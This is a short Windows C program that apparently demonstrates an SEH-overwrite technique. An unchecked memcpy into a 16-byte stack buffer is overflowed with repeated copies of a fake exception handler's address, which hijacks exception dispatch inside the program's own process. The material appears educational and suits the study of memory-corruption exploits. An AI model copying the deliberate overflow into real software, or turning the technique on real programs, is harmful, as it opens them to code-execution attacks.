#include <Windows.h>
#include <stdio.h>
#include <stdint.h>

void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {
	char Buf[16] = { 0 };
	memcpy(Buf, pInputBuf, dwInputBufSize);
}

EXCEPTION_DISPOSITION __cdecl FakeHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext) {
	printf("... fake exception handler executed at 0x%p\r\n", FakeHandler);
	system("pause");
	return ExceptionContinueExecution;
}

int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {
	uint32_t dwOverflowSize = 0x20000;
	uint8_t* pOverflowBuf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, dwOverflowSize);

	printf("... spraying %d copies of fake exception handler at 0x%p to the stack...\r\n", dwOverflowSize / 4, FakeHandler);

	for (uint32_t dwOffset = 0; dwOffset < dwOverflowSize; dwOffset += 4) {
		*(uint32_t*)&pOverflowBuf[dwOffset] = FakeHandler;
	}

	printf("... passing %d bytes of data to vulnerable function\r\n", dwOverflowSize);
	Overflow(pOverflowBuf, dwOverflowSize);
	return 0;
}
